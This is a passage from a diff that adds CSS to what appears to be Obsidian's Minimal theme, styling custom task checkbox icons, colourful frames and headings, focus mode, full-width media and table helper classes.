li[data-task="-"].task-list-item.is-checked, +body:not(.tasks) li[data-task="-"].task-list-item.is-checked { + color: var(--text-faint); + text-decoration: line-through solid var(--text-faint) 1px; +} + +/* [*] Star */ +input[data-task="*"]:checked, +li[data-task="*"] > input:checked, +li[data-task="*"] > p > input:checked { + color: var(--color-yellow); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath d='M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z' /%3E%3C/svg%3E"); +} + +/* [l] Location */ +input[data-task=l]:checked, +li[data-task=l] > input:checked, +li[data-task=l] > p > input:checked { + color: var(--color-red); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M5.05 4.05a7 7 0 119.9 9.9L10 18.9l-4.95-4.95a7 7 0 010-9.9zM10 11a2 2 0 100-4 2 2 0 000 4z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [i] Info */ +input[data-task=i]:checked, +li[data-task=i] > input:checked, +li[data-task=i] > p > input:checked { + --checkbox-marker-color: transparent; + background-color: var(--color-blue); + border-color: var(--color-blue); + background-position: 50%; + background-size: 100%; + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512"%3E%3Cpath fill="none" stroke="white" stroke-linecap="round" stroke-linejoin="round" stroke-width="40" d="M196 220h64v172"%2F%3E%3Cpath fill="none" stroke="white" stroke-linecap="round" stroke-miterlimit="10" stroke-width="40" d="M187 396h138"%2F%3E%3Cpath fill="white" d="M256 160a32 32 0 1 1 32-32a32 32 0 0 1-32 32Z"%2F%3E%3C%2Fsvg%3E'); +} +.theme-dark input[data-task=i]:checked, +.theme-dark li[data-task=i] > input:checked, +.theme-dark li[data-task=i] > p > input:checked { + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512"%3E%3Cpath fill="none" stroke="black" stroke-opacity="0.8" stroke-linecap="round" stroke-linejoin="round" stroke-width="40" d="M196 220h64v172"%2F%3E%3Cpath fill="none" stroke="black" stroke-opacity="0.8" stroke-linecap="round" stroke-miterlimit="10" stroke-width="40" d="M187 396h138"%2F%3E%3Cpath fill="black" fill-opacity="0.8" d="M256 160a32 32 0 1 1 32-32a32 32 0 0 1-32 32Z"%2F%3E%3C%2Fsvg%3E'); +} + +/* [S] Amount/savings/money */ +input[data-task=S]:checked, +li[data-task=S] > input:checked, +li[data-task=S] > p > input:checked { + --checkbox-marker-color: transparent; + border-color: var(--color-green); + background-color: var(--color-green); + background-size: 100%; + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 48 48"%3E%3Cpath fill="white" fill-rule="evenodd" d="M26 8a2 2 0 1 0-4 0v2a8 8 0 1 0 0 16v8a4.002 4.002 0 0 1-3.773-2.666a2 2 0 0 0-3.771 1.332A8.003 8.003 0 0 0 22 38v2a2 2 0 1 0 4 0v-2a8 8 0 1 0 0-16v-8a4.002 4.002 0 0 1 3.773 2.666a2 2 0 0 0 3.771-1.332A8.003 8.003 0 0 0 26 10V8Zm-4 6a4 4 0 0 0 0 8v-8Zm4 12v8a4 4 0 0 0 0-8Z" clip-rule="evenodd"%2F%3E%3C%2Fsvg%3E'); +} +.theme-dark input[data-task=S]:checked, +.theme-dark li[data-task=S] > input:checked, +.theme-dark li[data-task=S] > p > input:checked { + background-image: url('data:image/svg+xml,%3Csvg xmlns="http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg" width="20" height="20" preserveAspectRatio="xMidYMid meet" viewBox="0 0 48 48"%3E%3Cpath fill-opacity="0.8" fill="black" fill-rule="evenodd" d="M26 8a2 2 0 1 0-4 0v2a8 8 0 1 0 0 16v8a4.002 4.002 0 0 1-3.773-2.666a2 2 0 0 0-3.771 1.332A8.003 8.003 0 0 0 22 38v2a2 2 0 1 0 4 0v-2a8 8 0 1 0 0-16v-8a4.002 4.002 0 0 1 3.773 2.666a2 2 0 0 0 3.771-1.332A8.003 8.003 0 0 0 26 10V8Zm-4 6a4 4 0 0 0 0 8v-8Zm4 12v8a4 4 0 0 0 0-8Z" clip-rule="evenodd"%2F%3E%3C%2Fsvg%3E'); +} + +/* [I] Idea/lightbulb */ +input[data-task=I]:checked, +li[data-task=I] > input:checked, +li[data-task=I] > p > input:checked { + color: var(--color-yellow); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath d='M11 3a1 1 0 10-2 0v1a1 1 0 102 0V3zM15.657 5.757a1 1 0 00-1.414-1.414l-.707.707a1 1 0 001.414 1.414l.707-.707zM18 10a1 1 0 01-1 1h-1a1 1 0 110-2h1a1 1 0 011 1zM5.05 6.464A1 1 0 106.464 5.05l-.707-.707a1 1 0 00-1.414 1.414l.707.707zM5 10a1 1 0 01-1 1H3a1 1 0 110-2h1a1 1 0 011 1zM8 16v-1h4v1a2 2 0 11-4 0zM12 14c.015-.34.208-.646.477-.859a4 4 0 10-4.954 0c.27.213.462.519.476.859h4.002z' /%3E%3C/svg%3E"); +} + +/* [f] Fire */ +input[data-task=f]:checked, +li[data-task=f] > input:checked, +li[data-task=f] > p > input:checked { + color: var(--color-red); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M12.395 2.553a1 1 0 00-1.45-.385c-.345.23-.614.558-.822.88-.214.33-.403.713-.57 1.116-.334.804-.614 1.768-.84 2.734a31.365 31.365 0 00-.613 3.58 2.64 2.64 0 01-.945-1.067c-.328-.68-.398-1.534-.398-2.654A1 1 0 005.05 6.05 6.981 6.981 0 003 11a7 7 0 1011.95-4.95c-.592-.591-.98-.985-1.348-1.467-.363-.476-.724-1.063-1.207-2.03zM12.12 15.12A3 3 0 017 13s.879.5 2.5.5c0-1 .5-4 1.25-4.5.5 1 .786 1.293 1.371 1.879A2.99 2.99 0 0113 13a2.99 2.99 0 01-.879 2.121z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [k] Key */ +input[data-task=k]:checked, +li[data-task=k] > input:checked, +li[data-task=k] > p > input:checked { + color: var(--color-yellow); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [u] Up */ +input[data-task=u]:checked, +li[data-task=u] > input:checked, +li[data-task=u] > p > input:checked { + color: var(--color-green); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M12 7a1 1 0 110-2h5a1 1 0 011 1v5a1 1 0 11-2 0V8.414l-4.293 4.293a1 1 0 01-1.414 0L8 10.414l-4.293 4.293a1 1 0 01-1.414-1.414l5-5a1 1 0 011.414 0L11 10.586 14.586 7H12z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [d] Down */ +input[data-task=d]:checked, +li[data-task=d] > input:checked, +li[data-task=d] > p > input:checked { + color: var(--color-red); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M12 13a1 1 0 100 2h5a1 1 0 001-1V9a1 1 0 10-2 0v2.586l-4.293-4.293a1 1 0 00-1.414 0L8 9.586 3.707 5.293a1 1 0 00-1.414 1.414l5 5a1 1 0 001.414 0L11 9.414 14.586 13H12z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [w] Win */ +input[data-task=w]:checked, +li[data-task=w] > input:checked, +li[data-task=w] > p > input:checked { + color: var(--color-purple); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath fill-rule='evenodd' d='M6 3a1 1 0 011-1h.01a1 1 0 010 2H7a1 1 0 01-1-1zm2 3a1 1 0 00-2 0v1a2 2 0 00-2 2v1a2 2 0 00-2 2v.683a3.7 3.7 0 011.055.485 1.704 1.704 0 001.89 0 3.704 3.704 0 014.11 0 1.704 1.704 0 001.89 0 3.704 3.704 0 014.11 0 1.704 1.704 0 001.89 0A3.7 3.7 0 0118 12.683V12a2 2 0 00-2-2V9a2 2 0 00-2-2V6a1 1 0 10-2 0v1h-1V6a1 1 0 10-2 0v1H8V6zm10 8.868a3.704 3.704 0 01-4.055-.036 1.704 1.704 0 00-1.89 0 3.704 3.704 0 01-4.11 0 1.704 1.704 0 00-1.89 0A3.704 3.704 0 012 14.868V17a1 1 0 001 1h14a1 1 0 001-1v-2.132zM9 3a1 1 0 011-1h.01a1 1 0 110 2H10a1 1 0 01-1-1zm3 0a1 1 0 011-1h.01a1 1 0 110 2H13a1 1 0 01-1-1z' clip-rule='evenodd' /%3E%3C/svg%3E"); +} + +/* [p] Pros */ +input[data-task=p]:checked, +li[data-task=p] > input:checked, +li[data-task=p] > p > input:checked { + color: var(--color-green); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath d='M2 10.5a1.5 1.5 0 113 0v6a1.5 1.5 0 01-3 0v-6zM6 10.333v5.43a2 2 0 001.106 1.79l.05.025A4 4 0 008.943 18h5.416a2 2 0 001.962-1.608l1.2-6A2 2 0 0015.56 8H12V4a2 2 0 00-2-2 1 1 0 00-1 1v.667a4 4 0 01-.8 2.4L6.8 7.933a4 4 0 00-.8 2.4z' /%3E%3C/svg%3E"); +} + +/* [c] Cons */ +input[data-task=c]:checked, +li[data-task=c] > input:checked, +li[data-task=c] > p > input:checked { + color: var(--color-orange); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath d='M18 9.5a1.5 1.5 0 11-3 0v-6a1.5 1.5 0 013 0v6zM14 9.667v-5.43a2 2 0 00-1.105-1.79l-.05-.025A4 4 0 0011.055 2H5.64a2 2 0 00-1.962 1.608l-1.2 6A2 2 0 004.44 12H8v4a2 2 0 002 2 1 1 0 001-1v-.667a4 4 0 01.8-2.4l1.4-1.866a4 4 0 00.8-2.4z' /%3E%3C/svg%3E"); +} + +/* [b] Bookmark */ +input[data-task=b]:checked, +li[data-task=b] > input:checked, +li[data-task=b] > p > input:checked { + color: var(--color-orange); + -webkit-mask-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' class='h-5 w-5' viewBox='0 0 20 20' fill='currentColor'%3E%3Cpath d='M5 4a2 2 0 012-2h6a2 2 0 012 2v14l-5-2.5L5 18V4z' /%3E%3C/svg%3E"); +} + +/* Colorful active states */ +.colorful-active .nav-files-container { + --nav-item-background-active: var(--interactive-accent); + --nav-item-color-active: var(--text-on-accent); +} +.colorful-active .nav-files-container .is-active .nav-file-tag { + color: var(--text-on-accent); + opacity: 0.6; +} +.colorful-active .tree-item-self.is-being-renamed:focus-within { + --nav-item-color-active: var(--text-normal); +} +.colorful-active #calendar-container .active, +.colorful-active #calendar-container .active.today, +.colorful-active #calendar-container .active:hover, +.colorful-active #calendar-container .day:active { + background-color: var(--interactive-accent); + color: var(--text-on-accent); +} +.colorful-active #calendar-container .day:active .dot, +.colorful-active #calendar-container .active .dot, +.colorful-active #calendar-container .today.active .dot { + fill: var(--text-on-accent); +} + +body:not(.colorful-active) .horizontal-tab-nav-item.is-active, +body:not(.colorful-active) .vertical-tab-nav-item.is-active { + background-color: var(--bg3); + color: var(--text-normal); +} + +body { + --frame-background: + hsl( + var(--frame-background-h), + var(--frame-background-s), + var(--frame-background-l)); + --frame-icon-color: var(--frame-muted-color); +} + +.theme-light { + --frame-background-h: var(--accent-h); + --frame-background-s: var(--accent-s); + --frame-background-l: calc(var(--accent-l) + 30%); + --frame-outline-color: + hsla( + var(--frame-background-h), + var(--frame-background-s), + calc(var(--frame-background-l) - 6.5%), + 1 + ); + --frame-muted-color: + hsl( + var(--frame-background-h), + calc(var(--frame-background-s) - 10%), + calc(var(--frame-background-l) - 35%)); +} + +.theme-dark { + --frame-background-h: var(--accent-h); + --frame-background-s: var(--accent-s); + --frame-background-l: calc(var(--accent-l) - 25%); + --frame-outline-color: + hsla( + var(--frame-background-h), + calc(var(--frame-background-s) - 2%), + calc(var(--frame-background-l) + 6.5%), + 1 + ); + --frame-muted-color: + hsl( + var(--frame-background-h), + calc(var(--frame-background-s) - 10%), + calc(var(--frame-background-l) + 25%)); +} + +.colorful-frame.theme-dark { + --tab-outline-width: 0px; +} + +.colorful-frame.is-focused, +.colorful-frame { + --frame-divider-color: var(--frame-outline-color); + --titlebar-background: var(--frame-background); + --titlebar-background-focused: var(--frame-background); + --titlebar-text-color: var(--frame-muted-color); + --minimal-tab-text-color: var(--frame-muted-color); +} +.colorful-frame.is-focused .workspace-tabs:not(.mod-stacked), +.colorful-frame .workspace-tabs:not(.mod-stacked) { + --tab-text-color: var(--minimal-tab-text-color); + --tab-text-color-focused: var(--minimal-tab-text-color); +} +.colorful-frame.is-focused .titlebar, +.colorful-frame.is-focused .workspace-ribbon.mod-left:before, +.colorful-frame.is-focused .mod-top .workspace-tab-header-container, +.colorful-frame .titlebar, +.colorful-frame .workspace-ribbon.mod-left:before, +.colorful-frame .mod-top .workspace-tab-header-container { + --tab-outline-color: var(--frame-outline-color); + --tab-divider-color: var(--frame-outline-color); +} +.colorful-frame.is-focused .mod-root .workspace-tab-header .workspace-tab-header-inner-icon, +.colorful-frame .mod-root .workspace-tab-header .workspace-tab-header-inner-icon { + --icon-color: var(--minimal-tab-text-color-active); + --icon-color-hover: var(--minimal-tab-text-color-active); + --icon-color-active: var(--minimal-tab-text-color-active); + --icon-color-focused: var(--minimal-tab-text-color-active); +} +.colorful-frame.is-focused .sidebar-toggle-button, +.colorful-frame.is-focused .workspace-tab-header:not(.is-active), +.colorful-frame.is-focused .workspace-tab-header-new-tab, +.colorful-frame.is-focused .workspace-tab-header-tab-list, +.colorful-frame.is-focused .mod-left-split .mod-top .workspace-tab-header, +.colorful-frame.is-focused .mod-right-split .mod-top .workspace-tab-header, +.colorful-frame .sidebar-toggle-button, +.colorful-frame .workspace-tab-header:not(.is-active), +.colorful-frame .workspace-tab-header-new-tab, +.colorful-frame .workspace-tab-header-tab-list, +.colorful-frame .mod-left-split .mod-top .workspace-tab-header, +.colorful-frame .mod-right-split .mod-top .workspace-tab-header { + --background-modifier-hover: var(--frame-outline-color); + --icon-color: var(--frame-icon-color); + --icon-color-hover: var(--frame-icon-color); + --icon-color-active: var(--frame-icon-color); + --icon-color-focused: var(--frame-icon-color); + --icon-color-focus: var(--frame-icon-color); +} +.colorful-frame.is-focused .mod-right-split .mod-top .workspace-tab-header.is-active .workspace-tab-header-inner-icon, +.colorful-frame.is-focused .mod-left-split .mod-top .workspace-tab-header.is-active .workspace-tab-header-inner-icon, +.colorful-frame .mod-right-split .mod-top .workspace-tab-header.is-active .workspace-tab-header-inner-icon, +.colorful-frame .mod-left-split .mod-top .workspace-tab-header.is-active .workspace-tab-header-inner-icon { + color: var(--frame-icon-color); +} + +.workspace-leaf-resize-handle { + transition: none; +} + +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-vertical > * > .workspace-leaf-resize-handle, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-left-split > .workspace-leaf-resize-handle, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-right-split > .workspace-leaf-resize-handle { + -webkit-app-region: no-drag; + border: 0; + z-index: 15; +} +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-vertical > * > .workspace-leaf-resize-handle:after, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-left-split > .workspace-leaf-resize-handle:after, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-right-split > .workspace-leaf-resize-handle:after { + content: ""; + height: 100%; + width: 1px; + background: linear-gradient(180deg, var(--frame-outline-color) var(--header-height), var(--divider-color) var(--header-height)); + top: 0; + position: absolute; +} +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-vertical > * > .workspace-leaf-resize-handle:hover:after, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-left-split > .workspace-leaf-resize-handle:hover:after, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-right-split > .workspace-leaf-resize-handle:hover:after { + background: var(--divider-color-hover); +} +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-right-split > .workspace-leaf-resize-handle:after { + left: 0; +} +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-vertical > * > .workspace-leaf-resize-handle:after, +.colorful-frame.is-hidden-frameless:not(.minimal-focus-mode) .workspace-split.mod-left-split > .workspace-leaf-resize-handle:after { + right: 0; +} + +/* Colorful headings */ +body.colorful-headings { + --h1-color: var(--color-red); + --h2-color:var(--color-orange); + --h3-color:var(--color-yellow); + --h4-color:var(--color-green); + --h5-color:var(--color-blue); + --h6-color:var(--color-purple); +} +body.colorful-headings .modal { + --h1-color: var(--text-normal); + --h2-color: var(--text-normal); + --h3-color: var(--text-normal); + --h4-color: var(--text-normal); + --h5-color: var(--text-normal); + --h6-color: var(--text-normal); +} + +/* Focus mode */ +/* MIT License | Copyright (c) Stephan Ango (@kepano) */ +/* Hide app ribbon */ +.workspace-ribbon.mod-left { + border-left: 0; + transition: none; +} + +:root { + --focus-animation-duration: 0.1s; +} + +.minimal-focus-mode.is-translucent .workspace-ribbon.mod-left.is-collapsed, .minimal-focus-mode.is-translucent .workspace-ribbon.mod-left.is-collapsed:before { + background-color: var(--background-primary) !important; +} +.minimal-focus-mode .workspace-ribbon.mod-left { + transition: background-color 0s linear 0s; +} +.minimal-focus-mode .workspace-ribbon.mod-left.is-collapsed { + border-color: transparent; + background-color: var(--background-primary); +} +.minimal-focus-mode .workspace-ribbon.mod-left.is-collapsed:before { + background-color: var(--background-primary); + border-color: transparent; +} +.minimal-focus-mode .workspace-ribbon.mod-left.is-collapsed .side-dock-actions, +.minimal-focus-mode .workspace-ribbon.mod-left.is-collapsed .side-dock-settings { + opacity: 0; + transition: opacity var(--focus-animation-duration) ease-in-out 0.1s; +} +.minimal-focus-mode .workspace-ribbon.mod-left.is-collapsed:hover .side-dock-actions, +.minimal-focus-mode .workspace-ribbon.mod-left.is-collapsed:hover .side-dock-settings { + opacity: 1; + transition: opacity var(--focus-animation-duration) ease-in-out 0.1s; +} +.minimal-focus-mode.borders-title .workspace-ribbon.mod-left.is-collapsed { + border-right: none; +} +.minimal-focus-mode .mod-root .sidebar-toggle-button.mod-right { + opacity: 0; + transition: opacity var(--focus-animation-duration) ease-in-out 0.5s; +} +.minimal-focus-mode:not(.minimal-status-off) .status-bar { + opacity: 0; + transition: opacity var(--focus-animation-duration) ease-in-out; +} +.minimal-focus-mode .status-bar:hover { + opacity: 1; + transition: opacity var(--focus-animation-duration) ease-in-out; +} +.minimal-focus-mode .mod-root .workspace-tabs { + position: relative; +} +.minimal-focus-mode .mod-root .workspace-tabs:before:hover { + background-color: blue; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container { + height: 0px; + transition: all var(--focus-animation-duration) linear 0.6s; + --tab-outline-width: 0px; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-container-inner, +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-new-tab, +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-tab-list { + opacity: 0; + transition: all var(--focus-animation-duration) linear 0.6s; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-spacer:before { + width: 100%; + content: " "; + background-color: transparent; + height: 15px; + position: absolute; + z-index: 100; + top: 0; + left: 0; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-container-inner .workspace-tab-header.is-active, +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-container-inner .workspace-tab-header.is-active::before, +.minimal-focus-mode .mod-root .workspace-tab-header-container .workspace-tab-header-container-inner .workspace-tab-header.is-active::after { + transition: all var(--focus-animation-duration) linear 0.6s; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover { + height: var(--header-height); + --tab-outline-width: 1px; + transition: all var(--focus-animation-duration) linear 0.05s; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .sidebar-toggle-button.mod-right, +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .workspace-tab-header-container-inner, +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .workspace-tab-header-new-tab, +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .workspace-tab-header-tab-list { + opacity: 1; + transition: all var(--focus-animation-duration) linear 0.05s; +} +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .workspace-tab-header-container-inner .workspace-tab-header.is-active, +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .workspace-tab-header-container-inner .workspace-tab-header.is-active::before, +.minimal-focus-mode .mod-root .workspace-tab-header-container:hover .workspace-tab-header-container-inner .workspace-tab-header.is-active::after { + transition: all var(--focus-animation-duration) linear 0.05s; +} +.minimal-focus-mode.mod-macos:not(.is-fullscreen) .workspace:not(.is-left-sidedock-open) .mod-root .workspace-tabs.mod-stacked .workspace-tab-container .workspace-tab-header-inner { + padding-top: 30px; +} + +/* Collapse pane header */ +body.show-view-header .app-container .workspace-split.mod-root > .workspace-leaf .view-header { + transition: height var(--focus-animation-duration) linear 0.1s; +} + +body.minimal-focus-mode.show-view-header .mod-top-left-space .view-header { + padding-left: var(--frame-left-space); +} +body.minimal-focus-mode.show-view-header .mod-root .workspace-leaf .view-header { + height: 0em; + transition: all var(--focus-animation-duration) linear 0.5s; +} +body.minimal-focus-mode.show-view-header .view-header::after { + width: 100%; + content: " "; + background-color: transparent; + height: 40px; + position: absolute; + z-index: -9; + top: 0; +} +body.minimal-focus-mode.show-view-header .view-header-nav-buttons, +body.minimal-focus-mode.show-view-header .view-header-title-container, +body.minimal-focus-mode.show-view-header .view-actions { + opacity: 0; + transition: all var(--focus-animation-duration) linear 0.5s; +} +body.minimal-focus-mode.show-view-header .mod-root .workspace-tab-header-container:hover ~ .workspace-tab-container .view-header, +body.minimal-focus-mode.show-view-header .mod-root .workspace-leaf .view-header:hover, +body.minimal-focus-mode.show-view-header .mod-root .workspace-leaf .view-header:focus-within { + height: calc(var(--header-height) + 2px); + transition: all var(--focus-animation-duration) linear 0.1s; +} +body.minimal-focus-mode.show-view-header .mod-root .workspace-tab-header-container:hover ~ .workspace-tab-container .view-header .view-header-nav-buttons, +body.minimal-focus-mode.show-view-header .mod-root .workspace-tab-header-container:hover ~ .workspace-tab-container .view-header .view-actions, +body.minimal-focus-mode.show-view-header .mod-root .workspace-tab-header-container:hover ~ .workspace-tab-container .view-header .view-header-title-container, +body.minimal-focus-mode.show-view-header .view-header:hover .view-header-nav-buttons, +body.minimal-focus-mode.show-view-header .view-header:hover .view-actions, +body.minimal-focus-mode.show-view-header .view-header:hover .view-header-title-container, +body.minimal-focus-mode.show-view-header .view-header:focus-within .view-header-nav-buttons, +body.minimal-focus-mode.show-view-header .view-header:focus-within .view-actions, +body.minimal-focus-mode.show-view-header .view-header:focus-within .view-header-title-container { + opacity: 1; + transition: all var(--focus-animation-duration) linear 0.1s; +} +body.minimal-focus-mode.show-view-header .view-content { + height: 100%; +} + +/* Full width media */ +.full-width-media { + --iframe-width: 100%; +} +.full-width-media .markdown-source-view .image-embed img:not(.link-favicon):not(.emoji):not([width]), +.full-width-media .markdown-source-view img:not(.link-favicon):not(.emoji):not([width]), +.full-width-media .markdown-source-view .external-embed, +.full-width-media .markdown-source-view audio, +.full-width-media .markdown-source-view video, +.full-width-media .markdown-preview-view .image-embed img:not(.link-favicon):not(.emoji):not([width]), +.full-width-media .markdown-preview-view img:not(.link-favicon):not(.emoji):not([width]), +.full-width-media .markdown-preview-view .external-embed, +.full-width-media .markdown-preview-view audio, +.full-width-media .markdown-preview-view video { + width: 100%; +} +.full-width-media .image-embed:not([width]) .image-wrapper { + width: 100%; +} + +.markdown-source-view video, +.markdown-source-view img:not(.emoji), +.markdown-rendered video, +.markdown-rendered img:not(.emoji) { + border-radius: var(--image-radius); +} + +body:not(.is-mobile) div.image-embed:focus-within .image-wrapper::after { + border-radius: var(--image-radius); +} + +.tabular { + font-variant-numeric: tabular-nums; +} + +/* Table helper classes for alternate styles */ +/* MIT License | Copyright (c) Stephan Ango (@kepano) */ +.table-small .bases-view { + --bases-table-font-size: 85%; +} +.table-small table:not(.calendar) { + --table-text-size: 85%; +} + +.table-tiny .bases-view { + --bases-table-font-size: 75%; +} +.table-tiny table:not(.calendar) { + --table-text-size: 75%; +} + +.row-hover { + --table-edge-cell-padding-first: 8px; + --table-edge-cell-padding-last: 8px; + --table-row-background-hover: var(--hl1); + --table-row-alt-background-hover: var(--hl1); +} + +.row-alt { + --table-row-alt-background: var(--background-table-rows); + --table-row-alt-background-hover: var(--background-table-rows); + --table-edge-cell-padding-first: 8px; + --table-edge-cell-padding-last: 8px; +} + +.col-alt .markdown-rendered:not(.cards) { + --table-column-alt-background: var(--background-table-rows); +} + +.table-tabular table:not(.calendar) { + font-variant-numeric: tabular-nums; +} + +.table-center .markdown-preview-view .markdown-preview-sizer table, .table-center.markdown-preview-view .markdown-preview-sizer table, +.table-center .markdown-source-view.mod-cm6 .table-wrapper, .table-center.markdown-source-view.mod-cm6 .table-wrapper { + margin: 0 auto; +} + +.table-lines { + --table-border-width: var(--border-width); + --table-header-border-width: var(--border-width); + --table-column-first-border-width: var(--border-width); + --table-column-last-border-width:var(--border-width); + --table-row-last-border-width: var(--border-width); + --table-edge-cell-padding: 8px; + --table-edge-cell-padding-first: 8px; + --table-edge-cell-padding-last: 8px; + --table-add-button-border-width: 1px; +} + +.table-nowrap { + --table-white-space: nowrap; +} + +.table-nowrap-first table thead > tr > th:first-child, +.table-nowrap-first table tbody > tr > td:first-child { + --table-white-space: nowrap; +} + +.trim-cols, +.table-nowrap .table-wrap { + --table-white-space: normal; +} + +.table-numbers { + --table-numbers-padding-right: 0.5em; +} +.table-numbers table:not(.calendar) { + counter-reset: section; +} +.table-numbers table:not(.calendar) > thead > tr > th:first-child { + white-space: nowrap; +} +.table-numbers table:not(.calendar) > thead > tr > th:first-child::before { + content: " "; + padding-right: var(--table-numbers-padding-right); + display: inline-block; + min-width: 2em; +} +.table-numbers table:not(.calendar) > thead > tr > th:first-child .table-cell-wrapper, +.table-numbers table:not(.calendar) > thead > tr > th:first-child .cm-s-obsidian { + display: inline-block; + min-width: 10px; +} +.table-numbers table:not(.calendar):not(.table-editor) > tbody > tr > td:first-child, .table-numbers table:not(.calendar).table-editor > tbody > tr > td:first-child .table-cell-wrapper { + white-space: nowrap; +} +.table-numbers table:not(.calendar):not(.table-editor) > tbody > tr > td:first-child::before, .table-numbers table:not(.calendar).table-editor > tbody > tr > td:first-child .table-cell-wrapper::before { + counter-increment: section; + content: counter(section) " "; + text-align: center; + padding-right: var(--table-numbers-padding-right); + display: inline-block; + min-width: 2em; + color: var(--text-faint); + font-variant-numeric: tabular-nums; +} +.table-numbers table:not(.calendar):not(.table-editor) > tbody > tr > td:first-child .cm-s-obsidian, .table-numbers table:not(.calendar).table-editor > tbody > tr > td:first-child .table-cell-wrapper .cm-s-obsidian { + display: inline-block; + min-width: 10px; +} +.table-numbers .table-editor { + --table-numbers-padding-right: 0; +} + +.row-lines-off { + --table-row-last-border-width: 0; + --bases-table-row-border-width: 0; +} +.row-lines-off table:not(.calendar) tbody > tr > td, +.row-lines-off .table-view-table > tbody > tr > td, +.row-lines-off table:not(.calendar) tbody > tr:last-child > td { + border-bottom: none; +} + +.row-lines:not(.table-lines) .markdown-source-view:not(.cards), +.row-lines:not(.table-lines) .markdown-preview-view:not(.cards) { + --table-row-last-border-width: 0; +} +.row-lines:not(.table-lines) .markdown-source-view:not(.cards) table:not(.calendar) tbody > tr:not(:last-child) > td, 